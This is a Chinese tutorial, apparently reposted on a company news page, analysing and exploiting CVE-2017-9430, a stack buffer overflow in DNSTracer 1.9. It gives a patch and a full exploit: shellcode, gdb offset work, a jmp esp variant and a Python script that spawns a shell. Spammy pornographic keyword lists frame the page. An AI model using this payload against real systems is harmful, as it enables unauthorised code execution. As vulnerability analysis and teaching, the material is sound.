精品专区-精品自拍9-精品自拍三级乱伦-精品自拍视频-精品自拍视频曝光-精品自拍小视频

網(wǎng)站建設(shè)資訊

NEWS

網(wǎng)站建設(shè)資訊

如何進(jìn)行DNSTracer1.9緩沖區(qū)溢出漏洞的分析

本篇文章為大家展示了如何進(jìn)行DNSTracer 1.9 緩沖區(qū)溢出漏洞得分析,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過(guò)這篇文章的詳細(xì)介紹希望你能有所收獲。

成都創(chuàng)新互聯(lián)于2013年成立,是專業(yè)互聯(lián)網(wǎng)技術(shù)服務(wù)公司,擁有項(xiàng)目做網(wǎng)站、成都做網(wǎng)站網(wǎng)站策劃,項(xiàng)目實(shí)施與項(xiàng)目整合能力。我們以讓每一個(gè)夢(mèng)想脫穎而出為使命,1280元桃城做網(wǎng)站,已為上家服務(wù),為桃城各地企業(yè)和個(gè)人服務(wù),聯(lián)系電話:18980820575

漏洞描述

DNSTracer 是一個(gè)用來(lái)跟蹤 DNS 解析過(guò)程的應(yīng)用程序。DNSTracer 1.9 及之前的版本中存在棧緩沖區(qū)溢出漏洞。攻擊者可借助帶有較長(zhǎng)參數(shù)的命令行利用該漏洞造成拒絕服務(wù)攻擊。

漏洞復(fù)現(xiàn)


推薦使用的環(huán)境備注
操作系統(tǒng)Ubuntu 12.04體系結(jié)構(gòu):32 位
調(diào)試器gdb-peda版本號(hào):7.4
漏洞軟件DNSTracer版本號(hào):1.9

首先編譯安裝 DNSTracer:


$ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
$ tar zxvf dnstracer-1.9.tar.gz
$ cd dnstracer-1.9
$ ./confugure
$ make && sudo make install

傳入一段超長(zhǎng)的字符串作為參數(shù)即可觸發(fā)棧溢出:


$ dnstracer -v $(python -c 'print "A"*1025')
*** buffer overflow detected ***: dnstracer terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8]
/lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8]
/lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f]
dnstracer[0x8048f26]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637]
dnstracer[0x804920a]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 270483     /usr/local/bin/dnstracer
0804f000-08050000 r--p 00006000 08:01 270483     /usr/local/bin/dnstracer
08050000-08051000 rw-p 00007000 08:01 270483     /usr/local/bin/dnstracer
08051000-08053000 rw-p 00000000 00:00 0
084b6000-084d7000 rw-p 00000000 00:00 0          [heap]
b74e4000-b7500000 r-xp 00000000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7500000-b7501000 rw-p 0001b000 08:01 394789     /lib/i386-linux-gnu/libgcc_s.so.1
b7518000-b76c8000 r-xp 00000000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76c8000-b76ca000 r--p 001af000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76ca000-b76cb000 rw-p 001b1000 08:01 394751     /lib/i386-linux-gnu/libc-2.23.so
b76cb000-b76ce000 rw-p 00000000 00:00 0
b76e4000-b76e7000 rw-p 00000000 00:00 0
b76e7000-b76e9000 r--p 00000000 00:00 0          [vvar]
b76e9000-b76eb000 r-xp 00000000 00:00 0          [vdso]
b76eb000-b770d000 r-xp 00000000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770d000-b770e000 rw-p 00000000 00:00 0
b770e000-b770f000 r--p 00022000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
b770f000-b7710000 rw-p 00023000 08:01 394723     /lib/i386-linux-gnu/ld-2.23.so
bf8e5000-bf907000 rw-p 00000000 00:00 0          [stack]
Aborted (core dumped)

漏洞分析

這個(gè)漏洞非常簡(jiǎn)單也非常典型,發(fā)生原因是在把參數(shù) argv[0] 復(fù)制到數(shù)組 argv0 的時(shí)候沒(méi)有做長(zhǎng)度檢查,如果大于 1024 字節(jié),就會(huì)導(dǎo)致棧溢出:


// dnstracer.c
int
main(int argc, char **argv)
{
   [...]
   char    argv0[NS_MAXDNAME];
   [...]
   strcpy(argv0, argv[0]);

// dnstracer_broker.h
#ifndef NS_MAXDNAME
#define NS_MAXDNAME1024
#endif
補(bǔ)丁

要修這個(gè)漏洞的話,在調(diào)用 strcpy() 前加上對(duì)參數(shù)長(zhǎng)度的檢查就可以了:


   /*CVE-2017-9430 Fix*/
   if(strlen(argv[0]) >= NS_MAXDNAME)
   {
       free(server_ip);
       free(server_name);
       fprintf(stderr, "dnstracer: argument is too long %s\n", argv[0]);
       return 1;
   }

   // check for a trailing dot
   strcpy(argv0, argv[0]);

Exploit

首先修改 Makefile,關(guān)掉棧保護(hù),同時(shí)避免 gcc 使用安全函數(shù) __strcpy_chk() 替換 strcpy(),修改編譯選項(xiàng)如下:


$ cat Makefile | grep -w CC            
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0
COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
CCLD = $(CC)
$ make && sudo make install
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

最后關(guān)掉 ASLR:


# echo 0 > /proc/sys/kernel/randomize_va_space

因?yàn)槁┒窗l(fā)生在 main 函數(shù)中,堆棧的布置比起在子函數(shù)里也要復(fù)雜一些。大體過(guò)程和前面寫(xiě)過(guò)的一篇 wget 溢出漏洞差不多,但那一篇是 64 位程序,所以這里選擇展示一下 32 位程序。

在 gdb 里進(jìn)行調(diào)試,利用 pattern 確定溢出位置,1060 字節(jié)就足夠了:


gdb-peda$ pattern_create 1060
gdb-peda$ pattern_offset $ebp
1849771630 found at offset: 1049

所以返回地址位于棧偏移 1049+4=1053 的地方。


gdb-peda$ disassemble main
  0x08048df8 <+808>:  mov    DWORD PTR [esp+0x4],edi
  0x08048dfc <+812>:  mov    DWORD PTR [esp],ebx
  0x08048dff <+815>:  call   0x8048950
  0x08048e04 <+820>:  xor    eax,eax
  0x08048e06 <+822>:  mov    ecx,esi
  ...
  0x08048f6e <+1182>:  mov    DWORD PTR [esp+0x4],esi
  0x08048f72 <+1186>:  call   0x804adb0
  0x08048f77 <+1191>:  mov    DWORD PTR [esp],0xa

在下面幾個(gè)地方下斷點(diǎn),并根據(jù)偏移調(diào)整我們的輸入:


gdb-peda$ b *main+815
gdb-peda$ b *main+820
gdb-peda$ b *main+1186
gdb-peda$ r `perl -e 'print "A"x1053 . "BBBB"'`
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xbfffeb3f --> 0xffed9cb7
ECX: 0x0
EDX: 0xb7fc7180 --> 0x0
ESI: 0xffffffff
EDI: 0xbffff174 ('A' ...)
EBP: 0xbfffef58 --> 0x0
ESP: 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
EIP: 0x8048dff (:call   0x8048950 )
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048df1 :    lea    ebx,[esp+0x46f]
  0x8048df8 :    mov    DWORD PTR [esp+0x4],edi
  0x8048dfc :    mov    DWORD PTR [esp],ebx
=> 0x8048dff :    call   0x8048950
  0x8048e04 :    xor    eax,eax
  0x8048e06 :    mov    ecx,esi
  0x8048e08 :    repnz scas al,BYTE PTR es:[edi]
  0x8048e0a :    not    ecx
Guessed arguments:
arg[0]: 0xbfffeb3f --> 0xffed9cb7
arg[1]: 0xbffff174 ('A' ...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffe6d0 --> 0xbfffeb3f --> 0xffed9cb7
0004| 0xbfffe6d4 --> 0xbffff174 ('A' ...)
0008| 0xbfffe6d8 --> 0x804be37 ("4cCoq:r:S:s:t:v")
0012| 0xbfffe6dc --> 0x0
0016| 0xbfffe6e0 --> 0x0
0020| 0xbfffe6e4 --> 0x0
0024| 0xbfffe6e8 --> 0x0
0028| 0xbfffe6ec --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048dff in main (argc=, argv=) at dnstracer.c:1622
1622        strcpy(argv0, argv[0]);
gdb-peda$ x/10wx argv0
0xbfffeb3f:0xffed9cb7  0x000000bf  0x00000100  0x00000200
0xbfffeb4f:0xe33b9700  0xfdcac0b7  0x000000b7  0xffeff400
0xbfffeb5f:0xe24e08b7  0x000001b7

所以棧位于 0xbfffeb3f,執(zhí)行這一行代碼即可將 0xbffff174 處的 "A" 字符串復(fù)制到 argv0 數(shù)組中:


gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbfffe6bf ('A' ...)
EBX: 0xbfffe6bf ('A' ...)
ECX: 0xbffff1d0 ("BBBB")
EDX: 0xbfffeadc ("BBBB")
ESI: 0x0
EDI: 0xbfffedb3 ('A' ...)
EBP: 0xbfffead8 ("AAAABBBB")
ESP: 0xbfffe290 --> 0xbfffe6bf ('A' ...)
EIP: 0x8048dba (:mov    ecx,DWORD PTR [ebp-0x82c])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0x8048db3 :    push   edi
  0x8048db4 :    push   ebx
  0x8048db5 :    call   0x8048920
=> 0x8048dba :    mov    ecx,DWORD PTR [ebp-0x82c]
  0x8048dc0 :    xor    eax,eax
  0x8048dc2 :    add    esp,0x10
  0x8048dc5 :    repnz scas al,BYTE PTR es:[edi]
  0x8048dc7 :    not    ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe290 --> 0xbfffe6bf ('A' ...)
0004| 0xbfffe294 --> 0xbfffedb3 ('A' ...)
0008| 0xbfffe298 --> 0xffffffff
0012| 0xbfffe29c --> 0xffffffff
0016| 0xbfffe2a0 --> 0x0
0020| 0xbfffe2a4 --> 0x0
0024| 0xbfffe2a8 --> 0x8051018 ("127.0.1.1")
0028| 0xbfffe2ac --> 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, main (argc=, argv=) at dnstracer.c:1623
1623        if (argv0[strlen(argv[0]) - 1] == '.') argv0[strlen(argv[0]) - 1] = 0;
gdb-peda$ x/10wx argv0
0xbfffeb3f:0x41414141  0x41414141  0x41414141  0x41414141
0xbfffeb4f:0x41414141  0x41414141  0x41414141  0x41414141
0xbfffeb5f:0x41414141  0x41414141
gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c:0x41414141  0x41414141  0x41414141  0x41414141
0xbfffef5c:0x42424242

同時(shí)字符串 "BBBB" 覆蓋了返回地址。所以我們用棧地址 0xbfffeb3f 替換掉 "BBBB":


gdb-peda$ r  `perl -e 'print "A"x1053 . "\x3f\xeb\xff\xbf"'`

gdb-peda$ x/5wx argv0+1053-0x10
0xbfffef4c:0x41414141  0x41414141  0x41414141  0x41414141  <-- ebp
0xbfffef5c:0xbfffeb3f                                      <-- return address

然后就可以在棧上布置 shellcode 了,這一段 shellcode 長(zhǎng)度為 23 字節(jié),前面使用 nop 指令填充:


gdb-peda$ r `perl -e 'print "\x90"x1030 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x3f\xeb\xff\xbf"'`
gdb-peda$ x/7wx argv0+1053-23
0xbfffef45:0x6850c031  0x68732f2f  0x69622f68  0x50e3896e  <-- shellcode
0xbfffef55:0xb0e18953  0x3f80cd0b  0x00bfffeb

根據(jù)計(jì)算,shellcode 位于 0xbfffef45

然而當(dāng)我們執(zhí)行這個(gè)程序的時(shí)候,發(fā)生了錯(cuò)誤:


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbfffef54 ("/bin//sh")
ECX: 0xffffffff
EDX: 0xb7fc88b8 --> 0x0
ESI: 0xe3896e69
EDI: 0xe1895350
EBP: 0x80cd0bb0
ESP: 0xbfffef54 ("/bin//sh")
EIP: 0xbfffef55 ("bin//sh")
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
  0xbfffef4d:  push   0x6e69622f
  0xbfffef52:  mov    ebx,esp
  0xbfffef54:  das    
=> 0xbfffef55:  bound  ebp,QWORD PTR [ecx+0x6e]
  0xbfffef58:  das    
  0xbfffef59:  das    
  0xbfffef5a:  jae    0xbfffefc4
  0xbfffef5c:  add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbfffef54 ("/bin//sh")
0004| 0xbfffef58 ("http://sh")
0008| 0xbfffef5c --> 0x0
0012| 0xbfffef60 --> 0x0
0016| 0xbfffef64 --> 0xbfffeff4 --> 0xbffff15b ("/usr/local/bin/dnstracer")
0020| 0xbfffef68 --> 0xbffff000 --> 0xbffff596 ("SSH_AGENT_PID=1407")
0024| 0xbfffef6c --> 0xb7fdc858 --> 0xb7e21000 --> 0x464c457f
0028| 0xbfffef70 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xbfffef55 in ?? ()

錯(cuò)誤發(fā)生在 0xbfffef55,而 shellcode 位于 0xbfffef45,兩者相差 16 字節(jié):


gdb-peda$ x/8wx 0xbfffef45
0xbfffef45:0x6850c031  0x68732f2f  0x69622f68  0x2fe3896e
0xbfffef55:0x2f6e6962  0x0068732f  0x00000000  0xf4000000

所以這里采用的解決辦法是去掉前面的 16 個(gè) nop,將其加到 shellcode 后面。


gdb-peda$ r `perl -e 'print "\x90"x1014 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x90"x16 . "\x3f\xeb\xff\xbf"'`

成功獲得 shell。


gdb-peda$ c
127.0.0.1 (127.0.0.1) * * *
process 7161 is executing new program: /bin/dash
$ id
[New process 7165]
process 7165 is executing new program: /usr/bin/id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ [Inferior 2 (process 7165) exited normally]
Warning: not running or target is remote

那如果我們開(kāi)啟了 ASLR 怎么辦呢,一種常用的方法是利用指令 jmp esp 覆蓋返回地址,這將使程序在返回地址的地方繼續(xù)執(zhí)行,從而執(zhí)行跟在后面的 shellcode。利用 objdump 就可以找到這樣的指令:


$ objdump -M intel -D /usr/local/bin/dnstracer | grep jmp | grep esp
804cc5f:  ff e4                  jmp    esp

exp 如下:


import os
from subprocess import call

def exp():
   filling = "A"*1053
   jmp_esp = "\x5f\xcc\x04\x08"
   shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

   payload = filling + jmp_esp + shellcode
   call(["dnstracer", payload])

if __name__ == '__main__':
   try:
       exp()
   except Exception as e:
       print "Something went wrong"

Bingo!!!


$ python exp.py
Tracing to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_?1?Ph//shh/bin??PS???
                                                                           [a] via 127.0.0.1, maximum of 3 retries
127.0.0.1 (127.0.0.1) * * *
$ id
uid=1000(firmy) gid=1000(firmy) groups=1000(firmy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

上述內(nèi)容就是如何進(jìn)行DNSTracer 1.9 緩沖區(qū)溢出漏洞得分析,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。


網(wǎng)頁(yè)名稱:如何進(jìn)行DNSTracer1.9緩沖區(qū)溢出漏洞的分析
分享URL:http://m.jcarcd.cn/article/ipohij.html
主站蜘蛛池模板: 日本精品在线播放 | 日韩25区中文字幕 | 国产v亚| 噼里啪啦 | 国产欧美日韩免费 | 国产真实乱对白精彩 | 精品国产中文字幕 | 日韩免费观看一区 | 国产乱子伦电视 | 国产最新看片在线 | 国产一区在线 | 日韩成人JAVC | 亚洲无码精品二 | 欧美一级成在线人 | 国产视频不卡一区 | 日韩欧美大片精品黄 | 日韩一级一欧美一级 | 片在线观看导航 | 成人一级免费激情网 | 欧洲无线码免费一区 | 尤物精品在线 | 欧美综合视频 | 国产熟女高| 日韩国产中文欧美 | 日韩欧美一区 | 国产精品免费看 | 国产不卡a | 国产亚洲一卡一 | 国产欧美亚洲精品 | 国产乱老熟视频 | 国内成人一区 | 绿帽视频网站 | 日产高清砖码砖专区 | 绿帽一区二区 | 日韩高清在线观看 | 国产乱码一区二区三 | 福利一区二区 | 日韩成人免费 | 国产精品成人v | 欧洲自拍拍偷综合 | 成人色神马九九 |